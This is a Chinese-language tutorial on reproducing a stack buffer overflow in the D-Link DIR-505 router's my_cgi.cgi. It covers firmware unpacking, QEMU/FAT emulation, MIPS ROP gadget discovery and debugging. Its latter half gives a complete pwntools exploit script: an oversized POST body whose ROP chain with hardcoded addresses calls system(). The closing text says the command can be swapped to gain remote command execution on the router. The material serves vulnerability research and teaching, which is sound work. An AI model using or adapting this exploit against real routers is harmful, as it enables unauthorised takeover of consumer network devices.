DIR-505 路由器固件漏洞复现
字数 1754 2025-12-04 12:24:18
DIR-505路由器固件漏洞复现教学文档
概述
本教学文档详细分析D-Link DIR-505路由器固件中的栈溢出漏洞,涵盖环境搭建、漏洞分析、调试方法和利用技术。
环境搭建
1. 固件获取
固件下载地址:https://files.dlink.com.au/products/DIR-505/REV_A/Firmware/v1.06b05/DIR505A1_FW106B05.bin
2. 工具安装
Binwalk安装
sudo apt install binwalk
Sasquatch安装(用于解包.squashfs文件)
git clone --quiet --depth 1 --branch "master" https://github.com/devttys0/sasquatch
cd sasquatch
wget https://github.com/devttys0/sasquatch/pull/47.patch && patch -p1 < 47.patch && sudo ./build.sh
固件解包
binwalk -e xxx.bin
Firmadyne安装
git clone --recursive https://github.com/firmadyne/firmadyne.git
数据库配置
# 安装PostgreSQL
sudo apt install postgresql
# 创建用户和数据库
sudo -u postgres createuser -P firmadyne
sudo -u postgres createdb -O firmadyne firmware
# 导入表结构
sudo -u postgres psql -d firmware < ~/Tools/IOT_tools/firmadyne/database/schema
FAT(Firmware Analysis Toolkit)安装
git clone https://github.com/attify/firmware-analysis-toolkit
cd firmware-analysis-toolkit
./setup.sh
编辑fat.config文件:
[DEFAULT]
sudo_password=your_password
firmadyne_path=/path/to/firmadyne
漏洞分析
漏洞位置
漏洞存在于/usr/bin/my_cgi.cgi程序中,具体在get_input_entries函数中。
CGI文件工作原理
.cgi文件是Common Gateway Interface脚本文件- Web服务器(如lighttpd)识别
.cgi扩展名并执行相应程序 - 通过环境变量传递HTTP协议信息
关键环境变量
| 环境变量 | 说明 |
|---|---|
| REQUEST_METHOD | HTTP请求方法(GET/POST) |
| SCRIPT_NAME | CGI脚本虚拟路径 |
| QUERY_STRING | URL查询字符串 |
| CONTENT_LENGTH | 请求体长度 |
| CONTENT_TYPE | 请求体MIME类型 |
| REMOTE_ADDR | 客户端IP地址 |
漏洞代码分析
main函数关键逻辑
int __fastcall main(int argc, const char **argv, const char **envp)
{
char s[1024]; // 栈缓冲区
memset(s, 0, sizeof(s));
// 获取请求体长度
char* env_4 = getenv("CONTENT_LENGTH");
if (env_4)
size = strtol(env_4, 0, 10);
// 调用存在漏洞的函数
input_entries = get_input_entries(s_, size);
}
存在漏洞的get_input_entries函数
int __fastcall get_input_entries(char *s1, int a2)
{
while (a2 > 0) // a2为用户控制的CONTENT_LENGTH
{
// 从标准输入读取数据
if (stdin->_fileno) {
// 读取逻辑...
}
// 存储到栈缓冲区
s1[1061 * v4 + 36 + v5] = c_unlocked_1;
--a2;
}
}
漏洞原理
- 使用用户控制的
CONTENT_LENGTH作为循环条件 - 数据直接存储到固定大小的栈缓冲区中
- 当
CONTENT_LENGTH大于缓冲区大小时发生栈溢出
MIPS架构基础知识
寄存器说明
| 寄存器 | 用途 |
|---|---|
| $zero | 恒为零值 |
| $at | 汇编器临时变量 |
| \(v0-\)v1 | 函数返回值 |
| \(a0-\)a3 | 函数参数 |
| \(t0-\)t7 | 临时寄存器 |
| \(s0-\)s7 | 保存寄存器 |
| $gp | 全局指针 |
| $sp | 栈指针 |
| $fp | 帧指针 |
| $ra | 返回地址 |
关键指令
addiu $sp, -0x20:调整栈指针sw $ra, 0x18($sp):保存返回地址到栈lw $ra, 0x18($sp):从栈恢复返回地址jal function:跳转并链接(保存返回地址到$ra)jr $ra:跳转到返回地址
延迟槽机制
MIPS架构存在延迟槽,跳转指令实际在执行下一条指令后生效:
jr $ra
addiu $sp, 0x7FF0 # 这条指令会在跳转前执行
调试环境搭建
依赖库修复
创建符号链接使库文件具有标准名称:
ln -sf libavahi-common.so.3.5.3 libavahi-common.so
ln -sf libavahi-common.so.3.5.3 libavahi-common.so.3
# ... 其他库文件类似处理
QEMU运行配置
使用chroot环境运行程序:
# 复制qemu-mips-static到目标目录
cp /usr/bin/qemu-mips-static /path/to/squashfs-root/bin/
# 使用chroot运行
sudo chroot /path/to/squashfs-root qemu-mips-static /usr/bin/my_cgi.cgi
调试配置
# 开启调试模式
sudo chroot /path/to/squashfs-root qemu-mips-static -g 12346 /usr/bin/my_cgi.cgi
# 使用gdb连接调试
gdb-multiarch
target remote :12346
漏洞利用技术
ROP链构建
控制$a0寄存器的gadget
ROPgadget --binary ./my_cgi.cgi | grep 'lw $ra' | grep 'addiu $a0, $sp'
找到关键gadget:addiu $a0, $sp, 0x18 ; lw $ra, 0x5c($sp) ; ...
栈调整gadget
move $a1, $s2 ; lw $gp, 0x10($sp) ; ... ; addiu $sp, $sp, 0x28
利用步骤
- 填充缓冲区:发送大量POST数据覆盖栈空间
- 覆盖返回地址:精确控制$ra寄存器值
- 设置参数:使用gadget控制$a0指向命令字符串
- 执行system:跳转到system函数执行命令
利用Payload结构
pay = b''
# 填充数据
for i in range(0x1c2):
pay += b'a=a&'
# 命令字符串
cd = b"sh"
cd = cd.ljust(0x44, b'\0')
# ROP链构造
pay += b'\0' * 0x32
pay += p32(gadget, endian="big")
pay += b'a' * 0x10
pay += flat(0x44ff10, 0) # 保持$gp有效
pay += cd
pay += flat(system)
实际利用实现
HTTP请求封装
def http_req(data):
length = len(data)
pay = (
b"POST /my_cgi.cgi HTTP/1.1\r\n" +
b"Host: 192.168.0.1\r\n" +
b"Content-Length: " + str(length).encode() + b"\r\n" +
b"\r\n" +
data
)
return pay
完整利用脚本
#!/usr/bin/python3
from pwn import *
context(log_level="debug", os="linux", arch="mips", endian='big')
ip = "192.168.0.1"
def http_req(data):
length = len(data)
pay = (
b"POST /my_cgi.cgi HTTP/1.1\r\n" +
b"Host: " + ip.encode() + b"\r\n" +
b"Content-Length: " + str(length).encode() + b"\r\n" +
b"\r\n" +
data
)
return pay
p = remote(ip, 80)
pay = b''
for i in range(0x1c2):
pay += b'a=a&'
system = 0x42A500
gadget = 0x0040f3c4 # 控制$a0的gadget
gadget2 = 0x0040e87c # 栈调整gadget
cd = b"echo `ls /`"
cd = cd.ljust(0x44, b'\0')
pay += b'\0' * 0x32 + p32(gadget, endian="big") + b'a' * 0x10
pay += flat(0x44ff10, 0) + cd + flat(gadget2)
# 多次调整栈位置
for i in range(0x10):
pay += b'\0' * 0x24 + flat(gadget2)
pay += b'a' * 0x10 + flat(0x44ff10) + b'a'*0x10 + flat(system)
pay = http_req(pay)
p.send(pay)
p.interactive()
测试验证
准备工作
在目标系统中创建必要的符号链接:
ln -s /bin/busybox /bin/ls
ln -s /bin/busybox /bin/sh
ln -s /bin/busybox /bin/cat
网络配置
使用FAT启动路由器固件后,将eth0添加到br0网桥:
brctl addif br0 eth0
执行测试
运行利用脚本,成功执行ls /命令验证漏洞利用成功。
总结
本漏洞利用的关键点:
- 准确识别栈溢出漏洞位置
- 理解MIPS架构特性特别是延迟槽机制
- 构建有效的ROP链控制程序执行流
- 正确处理库依赖和调试环境
- 封装符合HTTP协议的攻击载荷
通过这种方法可以实现对DIR-505路由器的远程命令执行,实际利用时可根据需要修改执行的命令。